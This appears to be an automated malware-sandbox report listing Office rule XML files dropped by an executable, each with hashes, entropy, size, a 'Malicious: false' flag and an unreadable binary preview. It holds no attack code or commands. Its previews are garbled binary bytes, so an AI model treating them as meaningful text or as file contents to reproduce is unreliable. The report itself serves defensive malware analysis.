Preview:	<?xml}j.x..)..........$.(...0uba..Q.Z....{4...L.o.....(...3_.%..@...K-.C....B(.k..B....lX......<.^.z{R..2.....O.^..^........!....%W>i.s.X.......GE.......o.....y?.`.\|.q?.t..r......2X...JC..........w$.#pLH..w2....V.Z.....I....{ ..r.x....nY.'w.O7{'...j..[h8.I.../Kji2.wc[1..;p?kj..0N...cHXhw..D..7x.f..>.\|.g.z."=}..'.e5?.....+l+.....x.\|..c>5F..RP6.M7..w...A..7(b.Z.....z...b....p.\|.,CB..u.n&.zl+...m>...\|.>....=</..nF....u....u.._k.e.;...e..O}..2.?.z..z.w....2.x......#`.......&....#E&.6........%7.pa..".0.<.Q....YuL....5....b60.._...U..;.....h.F.t. .g.JtOit].!.D...CCrB..L.G.._.i....s#..d.7P..W0.....nq.+C..6.D.=.K.%g].[..Y..\|...U...@.17.VU..)+M.H........-....4.....s.%..GhXS.....@....\.ne.G..d..!.R.."....g.+F-....HzKr.....].(B...OR..N..DQj.....S].Z...@..e.......b.....uJ.v<.8!.{P.=+p....!.l...Z].....1.T...C...n~......`(K..W.S. .6.{.Od..3...V.6..9...U......\........u..:.)...*V!......,.wt...[..c.~;..).%k.a..6F..~...r..$..y.... ...?r..eO.g..4......o...j.$\|.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.893968125690711
Encrypted:	false
SSDEEP:	48:W6bDOfwJRFwgwngJYyuq34f6xshCh3ha5aKrLMaXFuED:nhLwnouyRxAYxa5BLMQFuQ
MD5:	E97BE4AF7944F482329B5F83FD7196C7
SHA1:	2569EB336480DA8F2E81079C1143411DEEAED1CF
SHA-256:	0701E7D07A14C007E997FCAA6B89DCB06714F7A64E6B70F04F8E7C293611497B
SHA-512:	4210F69D271F9D4D29E77C1C47F6A92EDF7C48AD750AA4DB7422473322B030DA021206CC71A2A17145746F1224B0DA905C0033679CC44BBD7F06CFFC12233403
Malicious:	false
Preview:	<?xml.(.A.sO...TA..u..}........u..0j@....+....6./..P_7.....5}..{.w...}......._m..+.../9_b....3w.V.). .n:c...V...,...+.Q.#..p.Qb.cz.f.g..k.....4.!.7.....j.B.y=rE.i.T...1... ...y....."s.A.t.2. ...1......Z...5.._.!.6.Y....1.......~#EN..aA....~S{l....$...p.}.g...f.~..b...T&.C.....8..z.QQ.....\|..........=......w.Z.G.nJ..%jQ.zXD.p.....n.w)\........U/.,......i.':dp[/.#.........j.Cg..<....'p..a..+..X}...w...MF(.gUGZ...D.3.`k. {C.b.o...S.:.9v..P.y..#...].ki.Z........4A.8'....j.w..$.w......</...-.t..:...y..5...H$.....CC..}N..I../.pV..:..>Y../..{.d...F........i..._..g......R'.:..!....2k........75.....H\|.u9.0...Am.A=9... .r....{.L"2'..k...{c.G.1'....*e.....A(.U.w..Jo...6..;^....gTD.3........>......!.9t@.,...uR.N..-......d...h#46.j7.oFVBJD.k.Ock.f....gyBD.)1..U...............AK.....n\|.Kk.Z'XRF...{.cC.....b]...]...=x4J.B.h.]UL.....nt.....x..$....C.c-%......eYj./...).O?.$...7.......\.zNQ[..lW.N7#..jN.wh2.._.\|.$n.....t=?.}K..x..reoJ.Q]S....vTq..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.879595172206084
Encrypted:	false
SSDEEP:	48:YBcZfvnBHTP7qNoNNtylguxCxbmqtx++XFuED:YBk3nl+oNfylj8bxNFuQ
MD5:	BBB0F724847E394E9FB11D153154E43D
SHA1:	3F6FEEF075F6E171FB559CDA9B284897FE84B03B
SHA-256:	00F7B9BE21169724F831EF2B3F1DE1EDC809BC6A3AD1277A0436560F928BB313
SHA-512:	0D46D02F16D848B33B5954882458BBD195C0660B8E3A5A395EF1D4886167A1D93E98B686537E4159D3098802F0FCF9ECE309A23AC70A6B293B6F77D5072B3614
Malicious:	false
Preview:	<?xml.=Rx..3...G......B.....{+.'>.."..o....uu...z$H.".,.A%<.\Y.@....T.[...vL.S0oP(..We.n..) ...RC..^...W.......R..t..=....a.az...0...m.S....c.9.X..;5.L..../...../.}..urWT.)da.XI.sb...)..F..ujS.x....j.[.]4O}../......K.\|...2..J..s..?....\|\|.d.LX.l.\|.-.H.."f.@06...U[...r....;..~.............x...b...F.$..e_..%i......P..E..Ut.pm....j,.tg....]Q.6^..q...W..7.k..$.[j...O...!.....K..#.R.N..c..z...>..>").w...1...NQc.I.....f.tu2.5..8...3o"....3[2...T..=...U.Q..,\|.....B..I9.......J/..k...5.S'.y..U.R.`.....K..Ju6...u.;.omP..K..t.....7...4..c.(...W...630....#.k8..!C......f...s.%...^.......k.........d.....1[.iA?..reZ....&Tq"i......>......%.h.$.%...R.T04..mM..$.].. Mn.,K..5#M..XV...y~P(......'U...Vf&.mf..Zi.....'....Gk.3..~.e.Nz......li..QH"..'...e..<U........w>.../.......MH...-...K........~y..+.d..Bn.8.n-....O..[:.N\|.>.f.T.Z6..AI...q#....).mx:_.......&.......jo....e..\|._.a.S./.\|.N..HOR.o`.w,..w....j...1IY.&x.Qz.*.H..}c.+.B....{.?1].:B"....dT...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.877545833783029
Encrypted:	false
SSDEEP:	48:87DIFFhnjLoYjmTu6O7Pv/hr4O0uW/MdDpZwpJXFuED:IDI+0mTu6O7PB294o3FuQ
MD5:	B50DDC70B1C9A6794BD100B024F797D0
SHA1:	F781A4E64F182E1258348A0DB4F192C761FF6E80
SHA-256:	72B72E5B0E2033AC83AA1F771A35540D31D7BC4A887FF025F52AA6CD19075D72
SHA-512:	C52F44F026C641B7FE2970BC5CC7B9A5E8F8D8DFDB06940718F03C449385B9C06CB250CD9B0AF247DEF9DA50B55D2B2A5143AE6E08F4120E72506ADFAC3DC49C
Malicious:	false
Preview:	<?xml.)(.}.`8......\..]..3.........M`%7>.M.Z...a:l.....~..6.]S).G.[.?[9......b...imG .@u\|X......!.....f..5x..o...em..B.G...A.g.j.... ...LJ....}..l.p^`M.F..t.W\xc.vDV~8_M.......`.O..l$XW......J<.j..7.}..B.FPV.3.....\h.....I.R@k..I.......7'..........W......p...P.+=.?(..,..;..P....p..N.n..-..aC.g)g..N..e,q.e.....x.......LGw.\|m}.../YfY......i07..7....Xf.=;o~1..X.q.... .........t.P%Q.t...h....?M'Y.7C....!o].....[yc@`kL ...t..I.....\.....!0!&..LEn..a&Sg..W...@N...)....d}Ru.u,...!5.....[../f2.Pu,.%..y..!.....4:..l.+.z...h.o..x~..:..{....&1.\|.6 =U..?.w"..%...M.....@.......ph?.[.........z.0.O..S...1.3^...-..w^....a/.\| ..S.,'h..T..x..t.W?0.._.B.mG.!.@.`.gI....;...-.cn...0...]o....]+.p.4cV......"K..W..nn.!...\..........Y$..:.N..U........@..8....\|;..t~.$.f....iT..J..D"...A..}XB.%o.i.?..x.n..,......r..g'.!U.??h*....q.8...25.xC.&\O...A.Q>...BF7.]),...0z,...k..N.... .."..&....Id.T.....<.m.w.p...2.....KG..._.$ &pR...`o..1u.=+.U.v.../....x.....Wo...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.883025784397755
Encrypted:	false
SSDEEP:	48:FZQrz3sfyAS360/eFIMnOjEa9Ys8c/876wjzXFuED:3izcKKFIMMCNcC97FuQ
MD5:	124566A2E60A24F7B1335EF6B0DAA434
SHA1:	D0ABABEE25C760B930FA8AEF45267198FC1BBCD9
SHA-256:	B4526B1930BC1D9C7C7DB734243F2BD8B5BD4AD2A0A5624C9D3C903CE99D8836
SHA-512:	28B644FCF9ACDB1597D0AC8162668D808643D52A7E6CFB767F88DD4820DA3A691344F7FF565F8BCE7468B8DAA7798662479CBB4B43701B4F9E3367584358D34A
Malicious:	false
Preview:	<?xml...Y.gB.....@.#.0..o..F.d.f....Q.A.W........c,o..bt,..e..~Y...a.J..c..N....x.H...-a\...\|......Ur2e.<.E...&{..-.../..T.e..)[C....=.._.S.['....[Tz....t....FuM.W..g..{....0.K;..eVF.d..{..m4E.1;..Y....8...b).3.\..[<B...<r..L(._a\|9<..2............Q........J.I!d..#o.o..C.?.+>.H.....Cf=.H..A2...V]....I2.L?.r../+<.b...p.....E.GO....GD....H.$-.Z.X3....'t..U.{SN.U.[;..'.i;...0.^..51.F...Ux..b...p..l..K....,6M..(.x..}P.J?.......Fn..o.W.(...Q.W..$=o..V..8?..p.....D..c..."..2f=cUP.\...b:..y\.J&...e(G.....'E.).l.....r..'.H..E.B..)..z...-.I.%..~.4!.....l...N...~.....'...8...-Xvr.O.....@:b......D..#F..5J,.._a..:.(..I1.f.]6.IHQ...zc...'....,8.<?ph..$ CY\|...,R2_...+.......WR.x9G;2.W...f.Bv.&.1\.Q...U.bq=Q.@6,....K..u...d.=/mW.7_q%..[..m4%.c....S.).\|@.{....X\|.F.'...v.wWI../...1..,z....5\..]1.%..@..1..E..7<.d...~b...\2.I^.[.1...(.6.j.,F.u..d..SFM.v7{....AO.{....K..)....2...S.J...+`?..H..\.}..`.ds..>l.Xb..[...{.%..V.M.6\[./..[S.^`Op-~]..Ll...l..7..5..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.880938674234521
Encrypted:	false
SSDEEP:	48:dmb6Jo0vUPyW6FWoLBMMtXqbesC0cu0Tgy3uOwXFuED:cOFtWdj/EkFuQ
MD5:	A2AE5251A672DB62317868645D400086
SHA1:	6421BE3C1D538E66A8001FB76C6EF4345B3BED9A
SHA-256:	511E4709D490D97E17608B62ACFBE25F2559E129C9C0A9A28B18DD7541812081
SHA-512:	D0AA3D52CE4CC31F1828C12EC173809F870F8BB4DABB220E73A9117BF612704C71C489D664986319CA6E0F35D4DD15C34711C9426DA72694D405EFDB6DB1CFB3
Malicious:	false
Preview:	<?xml...K3.[.q.........J.I..k...k. .S.+D.w.......5..o....iVG...f..O...\Y._..H.X....56}..;Z..(.6.....w...V....gN&....`r....`F._........u.\|5.%[V.._..T-..#...X.k9b..../I....q.x.Sg..yd..[...5...WA[.n.qw..y.VF.q...VrVD...UN..i95Q........O..Qr....$O..\|.~]>.u&w-6.".h7._C...n0"[z.Nj#.2!Q.[~......u...(.Y.]..)....!.~.dE...^1i..../M.I../..oI.JG.$.....e....G..R-.B.>_$........H..?'[.O.o..RI.,q(.h,+.2.!..X..\|R._$Y.h.K..fO.....o...t.I.J..P.Ef.Vzr...j..d.........)..".........q..nM.l3O.q ....MA.o..{..Q...n....w5..!\..:l./......:..`.S2E..m.`..3.8}J..GZ..6v.\.....i.....H.._..G.B..j.RT..a..@....l:..E.....%.[p...f ...bF........Y.......`.........!z.W ...J0P..EO.R......5.+0..\.w.[..t.~.+.. 2...@C..F..v.........v'p..e....K.._1...N...._......(...o.......1e...t...I&.X........o....?.N...'........T.Y."..K $O...6..p..a6.C. lW:50...:a..IX......$.../Q..7......v-.u.....0.\|..`$.b{.)...y...<.47.bl....&U..99E...-nx.l..(U...e8...s.....R=.9E.7O.}e..')N.....dnO...+

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.866244287750789
Encrypted:	false
SSDEEP:	48:9NmoaYWPXbmrVebXDlVgtj6IMa4tXFuED:rmoJWvyJebkRvZ41FuQ
MD5:	348A30F75B4BBB0930E95A0E1A9DF962
SHA1:	BCBC956EA1F94A0F6E82926B6461930F4FBBC0C3
SHA-256:	415D95FD448A8C80D1CB5BC58C174CCFA4D8DBBD8D026652E8652BC8E4B0D4D5
SHA-512:	C9499F5E0AB5CB28DFF36052DF78F5F1002E4DC459689402771BDA0554B3A037BACE6D457C0E2DF2BB682CF9A76C1456E2A1A3BBD41903323807D02EE66CFC01
Malicious:	false
Preview:	<?xml.P...o.(z..M.)..#.7V.......v..x..a..!.'s:....?.FV......m...O:g..tG...D.k>Y.V.N.....N...oY...0...Z........8...c.S..J7.i34,..%..........A..u....X.8.M..T.5F+....(f#..vM.@....t1..6...(......y....d...M.&...AG......<..V.T...9f.>.Y.,%...4G......q...8O.'.........<.......D%.j.@9.G.c\|..V.3E....oj"r...V...S......d...n.G.:.U..,.$.C.....&.3Oc3,eW.8B.E^4.(P.j..c.;.w.vBI<.s..c+8..nBYJ0......r...#l.!......Z...&O").!......R.]qa...........}...".LA..+........\|.....^...<.%...g.{.{.jg...e>......=i.......U...zr..5.g..d.EBxHr..Z.&K..+.#.....Z...o..:>.$....J.dX1Ue.>.KN....No.H....cqt....`...........#.6.K.........#........'tYcJ.Z?e...c..<r.O$.V .h0...-..x...."............%u...?/.mbp...A..e.AN.49.$As....Q...0.+ .~*..;.6..#.)@..!.W.D=;O..N...B.Be..C>.....v.^...PF..8.yf..n.~WWI..B..sb....z}.U.Wu....>.......~.6.^)a..TcKQ.{,..`.&....U..+.I...<8..?K...I....u....E.........6.t.^@?.bc..b..x#.._U ..R...v%.n:).=..J.C..?....a=)..v.BA{cKO.3..d.i39...4.~.....V/....#.c.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.885314766440677
Encrypted:	false
SSDEEP:	48:kMzZbvksbFPR4XI/b5e30ryFxIbjbsP7idaabXFuED:kcZwE54E50jbCjbsg3FuQ
MD5:	2F75C102902BA76CC574F6F75A006470
SHA1:	43CF809822DF9614A2D1C1B979ACAADDAC27186B
SHA-256:	60635D2562C6AACB2E1592D13596FF3897CA44A5A7C681BDCAACFA3D7549A856
SHA-512:	818B958A41CECC5503A2FFE946B6E759A36B867358C573ACC11C13CA531E975F75F7CBF8B6FCA62979D3143A6629B0FD01E6D1B99CB7988D10E1EA6A7AF0B3A6
Malicious:	false
Preview:	<?xml....X..W\.._..5}]Q.3.......0.C..#...............v...2K.-.......a...!.C...=rZ.3..@-..C......cg............<...!D..`O........>l./N..A...m.+.8P;....T.;..x.[..h..I<.-....y....R7.........O6x....{..I..#..q.U$.........>... .....T!..=.~J.".\|i@.. E.x...>b.-.Tz.y!.cA.......e.`.ga.=._p. .Y2...h.....i..6..7...b......B:..........]..>t..As..*...j..9.........x......>..l}.%.J..&!..7.W.....{Uu......-.#..p..!....A.6...cY{..$..G....z...1Ls{qW?;c..i..Qh .r..WQ.S.....~.dv.sV...~.h....n.....}.%.e......6..=.O...N.`.t..P.5...q..\.........{2.,I..xI...LW.j.#,..D.E.".@.h[-.~.@.4..Q.....e6. ...T....w.w..u<..\....`-.~S-.E>..&..=../.H.?.F.L.......=Dk......d4A.....\|..S.<.f.u.....S>o...~K.$...l....+..B...D......^....R.Z.L....f....m....y.8..$K.%.P.c.....i3t......\|...@.......t UH... /.h...!.v<..3...8.>.{.i9.."....r..+..6..H....4.H..h..(.+O.._7.X,i0%_....6.K..L.4..5..5.>A.Lx`...A'..Af....;iZ...9....y.C..%2asv6.+.-.x..U.......4..6.<....aY.tXl..I.p.p.+Z

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.88530143821333
Encrypted:	false
SSDEEP:	48:SpoicDyzysLA8nK4W0gO50At9cw1w+aSFU2QYSuXFuED:dicUFWfM0AI1+6x9MFuQ
MD5:	9ABECAD5A4C834750CCC4E4DA92A9C42
SHA1:	520CBABAF5B22EFA6E304ABFB9F21EEC1F81A8BE
SHA-256:	099E782BEB89CD6CC9119BC3FA2456A4BCA372575EDE2ABBADA660404CA24A13
SHA-512:	38FBDD2D2FEC93C583BE03B258C1632A75EF1488D9DCA206D58CF9BB9E58CD2848AE2B0E41A08FC4BA0FE057AE35D1E91A4B737DB38EF70C47577C9ADA0D0CB7
Malicious:	false
Preview:	<?xmlK...&S.}.p...!0.,F...8....d...z.C...(..:.6.).}....:_.0.[0..zH.(..(.zH.......d4Rh$.......Wj....vm............j........Hk.*.....(..K........M/.....S.B..L..<,I.n.Cx.'.........p.u...G-...r.g..$u.=....F.:n.2:..8.+.......Q.s..+z.?.K4..WA+l..._........P..K.........Ey.Z...t.........5..X.U4.....&....7.S.>\|.7..7.L.y,^;.NGz...._.v....E..<........HS&........K..q......i..vcz'..w#......i ..U$....~..Fo>....:....D...r%.w..&.w..Y..,"\.d.....".!......p.j..BH...E.?].e~4...uH0x...yJ..>..{/.l$......^......,... }g.._......S.C....D..._.....k;OHe..o.H..7..` Y!...N..U.j..+........<..eA&..t.4...A......)....pil..c.._.#%..0...Y.n(......yo...\}..=.........';}.....k........n...#]..`.s...vf.@.._....N....}.....,..]E.+..C....o.....l6..9..-.7T.D...l..]m.Q.p!:..j....^.[....-;.......!......K.>K[4.........>.........R_]nR.o....../..~....5.Iwln...w...{.w3a~.^..Y..o...l..5....Ha.iD.K..UK..h,..K).5l.\|.;).m.9..Y.?.0--..5..;..M>g.......PY.`h.\....]1....-a.VbX'..Bp'j... :.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.890161079076715
Encrypted:	false
SSDEEP:	48:/y5O6eGm6huoVF3eB1Z4MDDYYjTQ1lWRqKXYZ4wfVlPrsCHPbAXFuED:q5Xm6hu8F3eB1Z4MDsYjTQIwdlTsrFuQ
MD5:	8AA1AE815256848D9F972DD87E537204
SHA1:	0A39B5EA0F94A09180758F8153C8F118C70594ED
SHA-256:	580CEE75BA27B18126D60B68CB03EE9D4F839CF8221223828880D53AA0266857
SHA-512:	1078763A1875A81D7F9C83DD3FFA3313BD39B21E9B50684F2BBEFC9B6C5D0969A18E588BCA10404CBFFF878C9F77CC9D8AD45A8FA9EEA0E6D5FE59E0100B0EC9
Malicious:	false
Preview:	<?xml.:i&.B...:..lf/g...y...j[z4...T.:.7 lej?.t>...d..q.,]....?.. .."..+..+F.O.....I ...5....J@qg.....6V.0...,.N.k...1u..2.tE.Y.....d^..n.W..~.~.k..v.....6_.y.[......"....M..<s\|#......u......../.oW.WS.......A/.B..I..o.a.....,9F.....By.8+..........2A.J..o...F....Cv9..s.......gO........... .Z..e9.~.V[~.Tj".vx=.....E..sQ.E..[....,.b.%...Y..D.>.=........z..H.-...?T0..l.3.y.^....}..........4..w......(=Y.B.....rP7+.l........4..IwA&ub....N)......m..>.....>.^..D].Yq....j...7..Kf...I'..P.\|.}....k{...<1..'...7.%...`...<P.e..Q.....4.W...g..m;.%....9U.vF...r....4......k..&.k....0.......$.5.....I.Y.t&....Y...k.$....l._g.....>.....w..T.9.m$.../....a!....8.g.:..iS..E.K3..^n....]........#.L?j...._.k:.9.&..@..h..OI..\.s..+.Cr....,.h.E{.#..&0%..;..X.=..vGp^(.1..Y?.....)~}fVqnd.?.^$.....)3...y.q.....B.\|.f.,.2{Q. w..NQo..X.H.b........=.....E.a......>e..<.EV.t._.r.K'.....C.{J.x....z...R\V1..-U.`M@.]..O.P......k..)..W.M...9.....5...~.....a.....Z..X.z@

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.893662642079432
Encrypted:	false
SSDEEP:	48:lJhCNtCY+i8fUK9UsL6j1qW5On2cjA1KRLdwXFuED:vhCNgVigUKCu411kpgGGFuQ
MD5:	018AFE710A26DC10C0CFAF967B3FAE85
SHA1:	BF6C31BAF8D6BD3C860B28E7245DA09F858B896F
SHA-256:	45EAD4C485A19C88713718C084F9F1A0E1CE93A978A93ADD0E822C89E8D0669F
SHA-512:	95206D7809D789E5E865F8E37D94F379EE6BD3BE85536CB6DD92FCF54BD683BE8CB38F76760DE63BF18259539E15A6762E9223999321074B45FDD9D10F7E33F3
Malicious:	false
Preview:	<?xmldq.F.B..?H.O....j(+...U.6...Ay..I...us.YdM.WF=...pd+.".^..].6..W..P>....i.......m.....4%-S.D.......v.....~..I.:.9.O......n.....8....u..Q..&^.6.X.....^.............}.Q..-.%;R...z..@SD.o...Y....M#.....{~..[=....h..,q.....\.....LrQwO..._....S...Y..m.....`....~..G.....V....z_...B.f...f.3qn.B$l.=!.n.^....&.0...D..ucU.z.C...mL;.._.......>.$z.%..h.2X.Y..T.^.X...Oz/r.d..........J.".xv.P9e.~3..N...?.w.N/.....<........x...R&...q[.qe.;.\|.....o!Nw....e..S.O/......#.... ....2..\|..Y....Vv.4.)e.%..)...Y.?)D=.M3..W.{.e...........P.9....._~..T...<....u..Y.~.[..wj.A...n...n.+.B.+k>&K....n;Rqq.7.B...R..0._$.E........g.vvIuiI........x... b......Ma..._F.#^...#*6.u^+.`"1,..]VpuM....3.1..,U.N...m]..^1..IKro..J.....f..2..v..T........I....Zy.Cq.~.#i.....Yt....!...../.......VW.;oL..`6.2...P1.<.3.._.gp.C...EP..5{...".....v..Op?..d..Az.e/.r'1...a....z....GO....0..m.......<.e.CC..S...hd.w..3?z....]W..^.</.f.u...[b..J...y..L.....n+.B.-....\|.tn.L....c.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.8912426071814386
Encrypted:	false
SSDEEP:	48:Vw4ZwOUroQ6h9/JCRxWBWczYML8rQd3XFuED:VZwvMQk+RxWBWOlL8iFuQ
MD5:	ECCA3A4B8F47092A9CBE8B07A9998583
SHA1:	6F55FB64C094861C190CB30FB14E798405DD3A99
SHA-256:	60E13C432CD462B452F6BA7FC1942CD29D9E8E120B3FA996BA2934081339C073
SHA-512:	419BFCDCDE729432BF45BBF743B1EF0E2F1C978C96FA89C487B335498579C86BE20870FC68BBCBE54A5E6A6ED8CEE5D71B1DC3A45551F84592C014F46D64B32C
Malicious:	false
Preview:	<?xml..Z.....+$.G<:.I.\|..P.....tD.;A3&t..]t...G3s.. ..^.\|..fr&.......D.....&J.(......v."=x...Z.j.FQ.>.t)-..\#...r.S.bet.q-U.Q.l..e...+I..1I../h...g..1.A....i...8...h........J....N..<&.....Eg].OE6...$.{.O.N...#..7m2.:._J..>..B.............$....v..Y\..4...[fAmE../..s....#.ZY...k..8....5#./T.}.f..\{.....`.............. ..z.9. .+.(..V.A.>...R.9...O..>...)...I...1..~+x.[...%..p..s..6.GH..\|B.."p.Wk...[g\|..5Imm..9.^....#.^D.c6!r[..G...Z..4..8.T.#.......a....9L.7<..#.c.b....;....w[].V]...7.D.)&3......2.x.N-RT.U~,.PNd.....(.<.........w...3q...R.$.D;..l.......0=&..,..gu~..T..<U9C...].{.U.....0C.."'...OT.;8...e..!`...2."...hX=....N...v=.\|..:...m.XT..?k..{.....,?.o...\7+.G.8.KL._n]....>..F....._....Ih.V).tq.z....P[.U......o)WN...\|.....M8.{w[.....EY.\|....NG?.m.R.,.gO.G8......k'..7...NY.F.T*.Nx.5Rg@.O..z`.....Al...faR....0..^.o....K.:a..J....V..p......Y....h.....q[.......;.Io..<6p....$.......O....xd.....M..........s.#..zAE]]&...........\|..s..X>.kO.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.897824182262756
Encrypted:	false
SSDEEP:	24:GfVELFDL3UudqK6dzaqBwSeWr2E6RliSZLW/m1BQMwmHw1rVs2FXq8uWbD:G5sHGvwhEg4R/m0+w1ZskXFuED
MD5:	B33A0C8EE66FD2AFE7B1D74C4342C3F5
SHA1:	1F71BEB1B0BB478CCF2DDF3B455394C7629A3843
SHA-256:	7F8AA5C62F1DD6322F4F6EDA3C1068A055B3101BFA2F66602729F70435F3C17A
SHA-512:	F67653EBE9884067D21C9700E919DFCDE140BABC94C1C096BF17691E68842A589C36F29BD23F01D6B8EBB29AC71B2332A43CBE8435721B780A2FD97FF4EC652A
Malicious:	false
Preview:	<?xml.E...e..8D..H..F.......(...#3..B`...\..kX/..X.....OQ-..;.F.Czf_..Vw..$.g.q..%....n..8....#...z.F[...Dy..qG..N}N...K..N....G.$...5ck...O..L"..M.~....X}'E{....l...K,.......W....1(.......5......B5.&.TR..[.....T...i.=.....U....uez./.n.....5.R..h.<6...=N.qG.,.C.k..7.'.ck...m..&3.c.A.}.m....so..r.'WY^.."k..F.H.j.A.>VlY#f..x?g=+...("..:z..f./...~.P......eD....K..../]..;...@..._._.Vc..7...P..U....FYB?.D......P.(.~.......E...{.M_A.-as...U...~..N.....o8u...~H..H.. ....F.7.S..DP..........'.J..%<.jg.N........R...... D....O...-.a$....L....=..n.^....{G..KR.l..\...).. .#...qy.Z.....E..!:s..6p.:.Z.GH&K..4.MG....Q..Y.>...............O.t2.D....p...wp.h.X.M....Y.1.3.n.}6..7x..T7=..5Z...d\|...@....>p.C::....V.0....?'Ysf...T.4.)D,....q:'..f..Xq.v).t.V.................B(.E.J.6).......L.....<\.{..=.o.R..^V...6+.B)51%;"M.pI..aZVe:+...4^M..t....Z.-W`..}s.7;....m.!Y...b.q.:.ha..NBDm-S...GE...6r....Tc.c.).......V^$..S.N..&>..........m.k.H..tI6.UL.2.d..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1770
Entropy (8bit):	7.901847675332408
Encrypted:	false
SSDEEP:	48:Hs+fJTQ9zgVBQ8BahuSo3Hk/Ilscu9qY/yrKBXFuED:HxdaSW8a4933u9qYvBFuQ
MD5:	552F1E9F6173A64CC9C648B98514E78D
SHA1:	F8AE5CA0A19F7F38F163EAAB72AD5EFADD2E2CBF
SHA-256:	45AE5D54C602114034292B9307B706D953838D83274CF7732C237366C4B5C377
SHA-512:	B5E3AAAB5B948A1FAE1A381F846EE56C85202350E2679165FB3CEBA08130CB782A7FA04ADA90F0419049272DBEDC01A108F34EB03609CD03D984411C7B678E6C
Malicious:	false
Preview:	<?xml...MC<.......yL5n}..;...p._ 3..l......4.'...0.o.1.L}.I...A....\a...NHB".$..X..#N.j...!.Cd....n9.[Z.5...w...y.iPK...........r.@.C.7O..<....YU..l2.........].......I.....]_\|...,k....C.......H.(..R.au.n...y.L.;...5.V..t5..]@A.P.y......gb..6 ...G E....T.Z.m.ha.{.T.Q.7..z..#(T..v.Hz.].._......:..B,.J...8.Y.T._.^.....N.z.Ph.rH.?K......gq.......:.rGP_....)...L.....$8.B....5..:}..0.>.4Wn...;...?..P....:...~.....L%F..z}...w.1e\|V....,eHu...3..g....(.TvV9e.J#.....z..Z\|!......"3.@I5...1.......0>7..6z.5.Z...0(.9.\..<.n.F...V.....H.c..3l.m...-A..sfW.&...... c".0.'.u\a.S..^..2FX.....\V..m.4..y..@\.}.jl.HC?.Y..j..!.....&.'.Y~u._.........C.\!..fC.c.5.GU.D`a.G.q.M4.Z...e..w.C..X..I.\....^......".........2..../...Dnq.G..xM50....&....&.is...D.!8..w._..).......O.).t.....A...`M7q....-...@..^X7O...{a/.idv_#.op...]..g#...!..)RU._V...{...N.2b.../..2.j....=E.M....&.O..T...fi....^Q..........B.M...kC........"1PR./G.........Hv..{.q.....N(k.@....)3.l.c.v.m......

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.875587130014447
Encrypted:	false
SSDEEP:	48:7TrnGqjzHHj5eXqef8NSp4RHGN9tLM+Tk4PJUQXFuED:7nn1zHD5A1pJ2wFuQ
MD5:	666581669DA5089BC3C949348AC3D2A4
SHA1:	8C4D6CFD1628C1D5EE16EEEF327D470A168A24D8
SHA-256:	EA6689B16EA49AAF7751A40D99D243DD4C1E8DF3348CA789920E6C662CE1075C
SHA-512:	55926817235051F4FC294F9CB3D0FF570B3C2363118198CA3940AB03585CBF9BB7BC1BE128A2DC1F0C73E2E2CBA4DDB931610CE0EF7C0371DD564D66C8FAFA80
Malicious:	false
